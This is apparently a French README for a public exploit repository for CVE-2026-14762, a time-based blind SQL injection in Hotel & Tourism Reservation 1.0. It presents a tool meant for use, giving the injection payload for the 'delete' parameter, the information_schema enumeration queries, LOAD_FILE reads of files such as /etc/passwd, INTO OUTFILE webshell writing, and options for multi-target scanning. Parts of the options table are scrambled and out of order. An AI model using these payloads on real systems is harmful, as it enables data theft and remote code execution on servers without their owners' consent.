
Multithreadé exploit d'injection SQL aveugle basée sur le temps pour CVE-2026-14762 ciblant Hotel & Tourism Reservation 1.0. Énumère les bases de données, les tables, les colonnes ; lit les fichiers via LOAD_FILE ; écrit des webshells PHP pour exécution de code à distance (RCE). Prend en charge le proxy, le scan par lot et un shell SQL interactif.
Exploit d'injection SQL aveugle basée sur le temps, multi‑threadé et complet pour CVE‑2026‑14762.
Cible le point de terminaison /admin/rooms.php de l'application Code‑Projects Hotel & Tourism Reservation (version 1.0).
Permet l'énumération complète de la base de données, la lecture du système de fichiers (LOAD_FILE), et l'écriture arbitraire de fichiers (INTO OUTFILE / ) – menant à l'exécution de code à distance via le déploiement d'un webshell.
DUMPFILE
| Catégorie | Capacité |
|---|---|
| Vulnérabilité | Injection SQL aveugle basée sur le temps (CWE‑89) |
| Vecteur d'attaque | GET /admin/rooms.php?delete=<payload> |
| Exploitation | Injection conditionnelle SLEEP() avec extraction de caractères par recherche binaire |
| Base de données | Extraction du nom de la base de données courante |
| Schéma | Énumération des tables et colonnes via information_schema |
| Extraction de données | Export complet de table (JSON) – lignes illimitées, limite configurable |
| Lecture de fichier | LOAD_FILE() – lire tout fichier lisible par MySQL (ex. /etc/passwd, fichiers de configuration) |
| Écriture de fichier | INTO OUTFILE / DUMPFILE – écrire un webshell PHP, backdoor ou contenu arbitraire |
| Shell interactif | Shell SQL en direct (extraction basée sur le temps) pour des requêtes manuelles |
| Requête unique | Exécuter du SQL ad‑hoc et récupérer les résultats (limite de 512 caractères) |
| Mode batch | Scan multi‑cible avec pool de threads configurable (ThreadPoolExecutor) |
| Support proxy | Proxy HTTP/HTTPS (Burp Suite, mitmproxy, etc.) |
| Journalisation détaillée | Sortie colorée avec informations de débogage horodatées |
| Zéro dépendance | Seulement requests, urllib3, et colorama (optionnel) |
requestsurllib3colorama (optionnel – pour une sortie colorée dans le terminal)Installez toutes les dépendances avec :
pip install requests urllib3 colorama
git clone https://github.com/tc4dy/CVE-2026-14762-PoC-Exploit.git
cd CVE-2026-14762-PoC-Exploit
chmod +x exploit.py or basic_exploit.py
| Argument | Court | Type | Défaut | Description |
|---|---|---|---|---|
--target | -t | URL | — | URL cible unique (ex. http://192.168.1.100) |
--target-file | -l | File | — | Fichier contenant la liste des cibles (une par ligne) |
--threads | — | Int | 5 | Nombre de threads pour le scan multi-cible |
--output | -o | Path | — | Fichier de sortie (JSON pour les extractions, texte brut pour les fichiers) |
--verbose | -v | Flag | False | Activer la journalisation de débogage détaillée |
--proxy | — | URL | — | Proxy HTTP/HTTPS (ex. http://127.0.0.1:8080) |
--user-agent | -ua | String | Mozilla/5.0... | En-tête User-Agent personnalisé |
--delay | — | Float | 5.0 | Temps de pause en secondes pour l'injection aveugle |
--max-retries | — | Int | 3 | Nombre maximum de tentatives de requête |
Le paramètre delete est injecté avec :
150' AND IF(<condition>, SLEEP(<delay>), 0) AND '1'='1
La fonction IF() évalue la condition ; si vraie, la base de données dort pendant secondes.
Pour chaque position de caractère, une recherche binaire sur la plage ASCII (32–126) détermine le caractère correct en utilisant les comparaisons > et =. Cela réduit les requêtes de 95 par caractère à ~7–8, rendant l'extraction très efficace.
Nom de la base de données : SELECT DATABASE()
Tables : SELECT table_name FROM information_schema.tables WHERE table_schema='<db>' LIMIT n,1
Colonnes : SELECT column_name FROM information_schema.columns WHERE table_schema='<db>' AND table_name='<table>' LIMIT n,1
SELECT <col> FROM <table> LIMIT row,1 – extrait ligne par ligne
Chaque cellule est extraite caractère par caractère en utilisant la même technique de recherche binaire
Lecture : LOAD_FILE('/path/to/file') – nécessite que secure_file_priv soit vide ou pointe vers le répertoire cible
Écriture : SELECT '<content>' INTO OUTFILE '/path/to/shell.php' – nécessite le privilège FILE et que secure_file_priv ne soit pas restrictif
Cet outil est fourni uniquement pour les tests de sécurité autorisés, la recherche pédagogique et l'évaluation des vulnérabilités.
L'auteur n'est pas responsable de toute utilisation abusive, activités illégales ou dommages causés par ce logiciel.
Obtenez toujours une autorisation écrite explicite du propriétaire du système avant de tester.
--ssl-verify |
| — |
| Flag |
False |
| Activer la vérification du certificat SSL |
--webroot | — | Path | /var/www/html | Racine web pour les écritures de webshell via INTO OUTFILE |
--dump-db | — | Flag | False | Extraire toutes les tables de la base de données courante |
--tables | — | Flag | False | Lister uniquement les noms de toutes les tables |
--dump-table | — | Table | — | Extraire une table spécifique (ex. --dump-table users) |
--read | — | Path | — | Lire un fichier via LOAD_FILE() |
--write-shell | — | Flag | False | Écrire un webshell PHP (shell.php) dans la racine web |
--sql | — | Query | — | Exécuter une seule requête SQL (retourne 512 caractères max) |
--interactive | -i | Flag | False | Lancer un shell SQL interactif après l'exploitation |